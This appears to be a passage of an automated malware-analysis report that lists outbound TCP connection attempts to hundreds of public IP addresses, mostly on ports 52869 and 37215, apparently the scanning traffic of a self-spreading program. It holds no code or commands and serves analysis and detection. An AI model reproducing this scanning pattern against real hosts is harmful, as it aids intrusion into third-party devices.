Source: global traffic	TCP traffic: 148.111.135.210 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.139.160.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 69.71.161.160 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 57.53.163.73 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 111.214.24.218 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 211.14.73.80 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 54.250.134.170 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 209.155.228.1 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 114.190.123.93 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 1.79.229.162 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 25.0.169.170 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.124.91.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 115.161.142.144 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.166.141.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 72.56.162.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 23.94.137.105 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 115.67.107.201 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 219.114.72.114 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 51.239.69.95 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 43.91.38.163 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.215.252.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 161.20.12.87 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 87.151.140.12 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 120.187.5.172 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 189.165.74.130 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.185.246.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 164.251.43.137 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 129.167.170.254 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 220.112.54.246 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.252.60.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 104.151.210.242 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.76.61.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.198.237.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.63.218.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 113.150.8.20 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 37.189.124.248 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.21.67.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 4.72.134.93 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 208.98.113.85 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.63.217.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 105.234.100.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 19.135.230.178 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 210.202.78.111 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 147.61.50.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 99.2.133.89 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 148.117.206.184 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 132.33.116.164 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.52.249.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 106.248.98.2 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.92.57.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 136.185.52.29 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 112.103.96.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.160.175.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 173.38.169.237 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 103.39.249.170 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.84.186.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.89.108.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 8.8.5.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.193.242.67 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 65.101.123.198 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.212.61.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 27.153.103.145 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 212.114.230.189 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 147.160.118.204 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 136.33.82.2 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 46.47.224.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 195.184.165.232 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 45.183.97.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 155.61.198.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 145.135.47.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 115.139.249.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 58.187.153.16 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 193.7.32.204 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.64.80.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.147.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 1.105.65.16 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 168.165.233.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.47.249.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 52.254.110.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 67.128.244.178 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.213.7.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.62.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 132.198.221.150 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 57.238.29.59 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 223.83.213.222 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.8.209.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.110.226.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.156.76.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 25.158.237.150 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 108.11.135.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.65.251.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 211.85.128.187 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 130.136.141.197 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 160.189.204.148 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 150.181.42.248 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.249.129.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 218.167.11.188 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 77.77.58.220 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 137.195.128.162 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 164.236.243.93 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 1.64.56.196 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.4.26.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 25.68.235.59 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 86.74.227.91 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.240.149.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.1.175.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 149.227.100.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.143.169.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 170.225.184.185 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 162.220.3.30 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 134.167.171.74 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 221.58.140.137 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 100.7.167.160 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 58.30.6.229 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 126.16.187.60 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 115.35.215.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 78.242.93.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 48.250.49.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 125.1.121.176 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 107.139.219.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 4.76.224.238 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 57.179.102.199 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 178.60.137.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 186.40.176.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.207.137.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 132.70.95.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 85.208.75.177 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 190.34.49.149 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.71.207.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 206.248.87.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 80.2.143.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 213.171.145.125 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 123.49.75.211 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 158.128.170.22 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 20.137.120.97 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 72.155.161.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 151.127.224.207 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 54.220.190.251 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 84.150.128.0 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.242.31.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 36.68.239.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 209.203.216.40 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 43.227.14.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 14.226.136.243 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 201.113.123.251 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 85.29.15.167 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 180.150.47.36 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.84.177.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.99.82.194 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.143.175.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 23.22.173.183 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 120.131.114.209 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 174.33.178.96 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 135.23.236.194 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 78.39.181.117 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 103.18.195.93 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 72.249.234.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 113.132.58.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.233.134.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 14.15.239.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.60.217.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 133.66.91.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 216.207.228.137 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 199.148.201.175 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.196.235.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.6.221.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 203.251.130.24 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.222.17.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 175.24.153.194 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.110.242.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 154.55.15.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 115.225.187.157 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 19.254.84.163 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 40.237.199.171 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 174.173.119.28 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 49.93.141.76 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 129.27.232.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 71.113.201.241 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 216.170.33.89 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 167.134.108.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.189.93.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 170.172.36.22 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 168.54.72.251 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 111.113.55.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 162.117.132.232 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 162.162.162.31 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 71.254.240.118 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 13.112.9.246 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 128.144.39.227 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 27.130.132.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 44.70.248.184 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 63.80.178.96 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 151.5.114.8 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.232.85.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 75.16.13.92 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 209.101.108.92 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 159.70.111.204 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 212.172.247.72 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 76.221.199.62 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.49.55.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 109.80.210.12 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 184.77.18.239 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 87.1.160.57 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 27.254.228.216 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 13.234.97.254 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 70.217.246.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 45.158.122.120 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.187.52.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 1.108.244.147 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 162.63.105.168 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 70.59.242.166 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 113.109.249.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 62.90.39.173 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.205.43.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 60.99.150.220 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 27.25.11.117 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 91.233.41.28 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 93.10.103.253 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 200.123.136.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.75.189.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 57.224.40.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.147.238.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 25.174.179.115 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.115.56.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 27.166.196.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 118.229.110.118 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 5.53.123.92 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 195.64.245.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 159.144.9.230 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 147.69.83.159 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 174.197.238.28 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 206.208.92.27 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.230.108.50 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.235.166.187 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 135.92.41.213 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.79.29.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 2.32.130.76 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 199.214.91.137 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.181.146.240 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.189.55.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.95.255.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 207.223.182.162 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 142.151.185.125 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 8.98.158.174 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 82.99.109.50 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.243.91.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 109.99.20.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 4.114.3.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 5.116.65.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 185.31.200.232 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 4.194.116.48 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 37.80.86.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 141.204.146.101 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 137.230.50.87 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 178.197.107.190 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 148.94.230.112 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.185.43.251 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 8.185.133.62 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 111.240.159.157 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.123.120.105 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 219.98.173.195 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 73.246.68.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.128.21.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.134.157.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 179.205.56.53 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 57.35.73.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 57.92.179.211 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 91.10.179.128 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 27.181.35.71 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 129.194.41.40 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 148.211.13.100 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 34.184.40.220 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.38.235.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.37.107.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 189.63.115.173 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 180.155.132.167 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 45.81.243.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 24.106.184.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 181.22.124.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 179.69.185.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 125.76.171.252 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 108.144.159.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.143.196.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.87.181.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 53.10.119.110 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.126.183.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.236.192.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 195.67.134.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 191.79.195.70 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 65.136.207.183 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 161.203.121.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 117.49.51.0 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.25.86.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 155.161.137.123 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 75.207.187.133 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 62.55.64.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 17.113.8.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 12.208.124.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 178.251.54.152 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.157.99.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 34.125.204.132 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 129.221.27.3 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.111.60.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 140.186.145.164 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.43.133.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.169.142.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 14.56.224.250 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 193.145.185.252 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 119.111.170.111 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 5.128.237.130 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.69.179.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.25.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.66.131.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 87.137.214.123 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 65.187.134.17 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.217.120.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.221.173.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 143.254.34.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.159.88.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.18.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 171.24.183.17 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 161.98.32.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 13.188.89.36 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 182.102.31.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.207.21.162 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 137.222.240.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 100.139.82.58 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 17.113.7.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 132.182.11.252 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 35.181.241.197 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.16.116.27 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 132.162.239.115 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 19.146.91.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 86.49.143.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 198.44.25.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 52.163.255.26 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.73.21.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 169.110.124.153 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.111.74.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 49.39.36.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.65.245.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.124.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 49.129.212.65 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.52.45.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 47.65.72.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.12.220.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 217.32.33.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 151.105.216.154 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.45.42.138 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.170.128.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 183.49.28.217 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 78.12.26.89 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 142.34.184.106 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 194.63.61.192 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.166.85.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 37.248.83.223 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.23.80.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 104.55.221.40 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 218.185.172.90 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 13.21.178.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.13.56.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.9.160.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 64.86.139.164 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.9.189.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 113.241.155.67 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.179.185.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 44.181.179.103 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.120.58.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 99.185.208.75 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 99.136.157.100 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 77.103.233.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.19.255.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 117.76.49.30 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 73.63.7.22 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 163.91.22.99 ports 2,5,6,8,9,52869
